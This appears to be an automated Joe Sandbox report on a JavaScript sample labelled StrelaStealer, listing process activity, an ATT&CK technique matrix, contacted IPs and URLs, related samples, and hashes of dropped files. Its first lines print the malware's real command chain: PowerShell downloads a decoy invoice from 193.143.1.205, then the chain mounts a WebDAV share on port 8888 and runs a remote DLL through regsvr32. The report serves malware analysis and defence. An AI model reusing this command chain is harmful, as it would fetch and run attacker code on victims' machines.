Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7654219842078021961.js	8%	Virustotal		Browse
7654219842078021961.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/tsvcs	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/OF	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/E	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3336439616.0000012A7DE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2110763585.0000012A7DC70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/E	net.exe, 00000007.00000002.2110931539.0000025C61180000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2111021097.0000025C611AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2110931539.0000025C61180000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107442622.0000025C611AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2106834130.0000025C611CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tsvcs	net.exe, 00000007.00000002.2110931539.0000025C61180000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/OF	net.exe, 00000007.00000002.2111021097.0000025C611AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107442622.0000025C611AB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588615
Start date and time:	2025-01-11 03:10:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7654219842078021961.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 172.202.163.200, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:10:56	API Interceptor	19x Sleep call for process: powershell.exe modified
21:11:00	API Interceptor	1x Sleep call for process: net.exe modified
21:11:00	API Interceptor	2x Sleep call for process: svchost.exe modified
21:11:08	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306839178225247
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug0:gJjJGtpTq2yv1AuNZRY3diu8iBVqFC
MD5:	94DA31A546EBEFB4462AC5D57D52455B
SHA1:	01F42EC66B66E34F66C2D8F9071EDDF66C44ACCA
SHA-256:	BABA50941D02F71879326C1E732E26F562C1CDD9EB80FB4C5304AECF8DEDBD3B
SHA-512:	CF18221DF1E834F1897EB225A5CAFABCA76408B0D68E960E66789465D1B424B5F662FF3C76D19301878EC98AA92A41CAF04B1BCE682D2830DF80086E269716F9
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xec6395e3, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585315382916782
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	1AE4D72D809B1073EF5C6A9BBF10CF21
SHA1:	4BE159C7B748930FC16A91E5FBBC87040E4031E1
SHA-256:	D8DC35BA70EA65F855497FAA01F72D18CDBE564498E2E26192B13A96D5E8E77E
SHA-512:	5FFEAEBC80B3EEF4BA1FAA343F426B801121A46295EDFE3C2723A4383C4F6487AFC80A6540BFAB79FE325DED80D85B5D3AF7FB5C84B68ACC48C4A7D2D55135FB
Malicious:	false
Preview:	.c..... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.....................................O.....}..................[T......}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07885996888169501
Encrypted:	false
SSDEEP:	3:vKl//KYeSo1x1GkGuAJkhvekl1HurZRYllrekGltll/SPj:yl//KzRrxlBIgJe3l
MD5:	47EF88FAB49E8039495B9BE503195034
SHA1:	8E34C76A6505E866EABEBBB33321AEEAACEB537C
SHA-256:	1C091516B14246BE22429D35C5454D4C92B82AC5F024A3B82E4771BC9228CFE5
SHA-512:	74F40C8E4EA3B8E1CE48AD3ECE30348FE35E21F9C8A1C800602FABBC10E32B29DB32AE8123C91909A16D77E38E801763948B2E577A40D073E47D5E361FA99D1C
Malicious:	false
Preview:	".~......................................;...{.......}.......{...............{.......{...XL......{...................[T......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.102764403298599
Encrypted:	false
SSDEEP:	6:iO4qiPGaFlL+q2P92nKuAl9OmbnIFUtSqivz1Zmwsqi4LVkwO92nKuAl9OmbjLJ:7kGaFlyv4HAahFUtOZ/lR5LHAaSJ
MD5:	7D26E655121EA2CEC9910300BC20DD80
SHA1:	5967D1D7B00452D8A76360334D6D183A239D3435
SHA-256:	A3AAABD3DFDAB92FE52994C9F059E41346763E8D18D0349F82412C467F7C5444
SHA-512:	8224384D861DD27C9F3575D3F9644CF8326264CB3161CFD68013CF81EF1FDE9F5B4B9DDE4976F290B2545F578C7BE7BA27E92B3DA9FE45C07512FEB67D66EBE4
Malicious:	false
Preview:	2025/01/10-21:11:00.421 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:11:00.423 1c38 Recovering log #3.2025/01/10-21:11:00.424 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.102764403298599
Encrypted:	false
SSDEEP:	6:iO4qiPGaFlL+q2P92nKuAl9OmbnIFUtSqivz1Zmwsqi4LVkwO92nKuAl9OmbjLJ:7kGaFlyv4HAahFUtOZ/lR5LHAaSJ
MD5:	7D26E655121EA2CEC9910300BC20DD80
SHA1:	5967D1D7B00452D8A76360334D6D183A239D3435
SHA-256:	A3AAABD3DFDAB92FE52994C9F059E41346763E8D18D0349F82412C467F7C5444
SHA-512:	8224384D861DD27C9F3575D3F9644CF8326264CB3161CFD68013CF81EF1FDE9F5B4B9DDE4976F290B2545F578C7BE7BA27E92B3DA9FE45C07512FEB67D66EBE4
Malicious:	false
Preview:	2025/01/10-21:11:00.421 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:11:00.423 1c38 Recovering log #3.2025/01/10-21:11:00.424 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.120351382378421
Encrypted:	false
SSDEEP:	6:iO4qiiL+q2P92nKuAl9Ombzo2jMGIFUtSqi21ZmwsqigLVkwO92nKuAl9Ombzo23:7Gv4HAa8uFUtR1/35LHAa8RJ
MD5:	7F095C34480D9397DB583A005DF832AA
SHA1:	4D5AD7B986B46A21C4E7CA9153C548EB418B7238
SHA-256:	E064D39525D3540D0763D0308CA62828BEAE01505CB08266F8E364D1907DE198
SHA-512:	A3789B208160F9B61B63EA60BAAB20D65C7B226EB866E6E5BE04838C1C48C4B4423A923B436195EF6936C3F80EDDCF6953228AB29F3C615E61FF474BD9440B66
Malicious:	false
Preview:	2025/01/10-21:11:00.442 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:11:00.444 1c98 Recovering log #3.2025/01/10-21:11:00.444 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.120351382378421
Encrypted:	false
SSDEEP:	6:iO4qiiL+q2P92nKuAl9Ombzo2jMGIFUtSqi21ZmwsqigLVkwO92nKuAl9Ombzo23:7Gv4HAa8uFUtR1/35LHAa8RJ
MD5:	7F095C34480D9397DB583A005DF832AA
SHA1:	4D5AD7B986B46A21C4E7CA9153C548EB418B7238
SHA-256:	E064D39525D3540D0763D0308CA62828BEAE01505CB08266F8E364D1907DE198
SHA-512:	A3789B208160F9B61B63EA60BAAB20D65C7B226EB866E6E5BE04838C1C48C4B4423A923B436195EF6936C3F80EDDCF6953228AB29F3C615E61FF474BD9440B66
Malicious:	false
Preview:	2025/01/10-21:11:00.442 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:11:00.444 1c98 Recovering log #3.2025/01/10-21:11:00.444 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3c2a549c-d34c-4362-afec-116dd13a4f6c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9992f6c4-2a2c-468d-be08-2fb8d8f52919.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.034766780456687
Encrypted:	false
SSDEEP:	12:YH/um3RA8squsBdOg2HUcaq3QYiubxnP7E4T3OF+:Y2sRdsWdMHH3QYhbxP7nbI+
MD5:	23E9B299DBCA0A8E7B7E9700500C1616
SHA1:	496F8E9ED377D094445DFB9538E7B664D7913161
SHA-256:	526C684D0D835236025B724E4806CACD3A6FE70C2CDACB008B8E087993EDBD95
SHA-512:	AFAD7A677A223EDC701162AF487885B0B099AA58F802AC22D642DE90CD535BE8E288A327B41BAB85210EF49EA430C33C6431D3E0AA11E51A2780790823FFD56A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381121472147445","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":115544},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF56b17b.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047670631956576
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4T3OF+:Y2sRdsgTAdMHW3QYhbxP7nbI+
MD5:	6F74C466274523ACBC6891D13E158BD9
SHA1:	972EFB11E9EC6669E0231F11D1EFB179173DC5B7
SHA-256:	E91308E91490DAE24FF176F7699E335AE75F7C45BB35189E4618B7EC82AB6724
SHA-512:	08CDCF6E6AAF1B52CADCE0E0571DDB94AF7CD8D11C5F91E1EFE5A986BE7AA3E5C002006FBE3BC56B3C4428BF1CAC2C64A55B03DFDB8B3538A5D293F6288FBE3F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236892640370167
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUztKa:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLa
MD5:	0E06D1BFFB1EAEB2647805FD5C3A705E
SHA1:	C25BC22C27C5589F0483EDD654679D53EFBA49FF
SHA-256:	1C7128A1D5D9D03348ED8A5169D957C051A3F9A1D16DE1AEDF887B0EF4B17C56
SHA-512:	6D2C75F9C8F183F57CC68730B121455C7D0D71EC7D0FCC3F42839B96A566438905CFA8DAB9E72CFB26A08EDCCBEB652A032D1AC90A4B552FBF88CF4CEAB8DEE7
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.124253688885283
Encrypted:	false
SSDEEP:	6:iO4qikKlL+q2P92nKuAl9OmbzNMxIFUtSqi81ZmwsqiiuBLVkwO92nKuAl9OmbzE:7mIv4HAa8jFUtX1/By5LHAa84J
MD5:	7A75A572B7AC188D198836CE73E9664B
SHA1:	4C4BC0294ACBF1B73839C67BB94CCE28F5F628E1
SHA-256:	71C4DFF0339F10C91E975B44840C5D8610F06FB7F77FE4F78521C3AB522FFDE4
SHA-512:	A36EDDD6B49506B8264954E678B111D21189EFC97CCEF5308A0F834BE6D791B0BB429DB9248F9FC6CEEE5B8ECA6B1AB37169061F49D92B4A10F62061E430C1D5
Malicious:	false
Preview:	2025/01/10-21:11:00.603 1c98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:11:00.604 1c98 Recovering log #3.2025/01/10-21:11:00.605 1c98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.124253688885283
Encrypted:	false
SSDEEP:	6:iO4qikKlL+q2P92nKuAl9OmbzNMxIFUtSqi81ZmwsqiiuBLVkwO92nKuAl9OmbzE:7mIv4HAa8jFUtX1/By5LHAa84J
MD5:	7A75A572B7AC188D198836CE73E9664B
SHA1:	4C4BC0294ACBF1B73839C67BB94CCE28F5F628E1
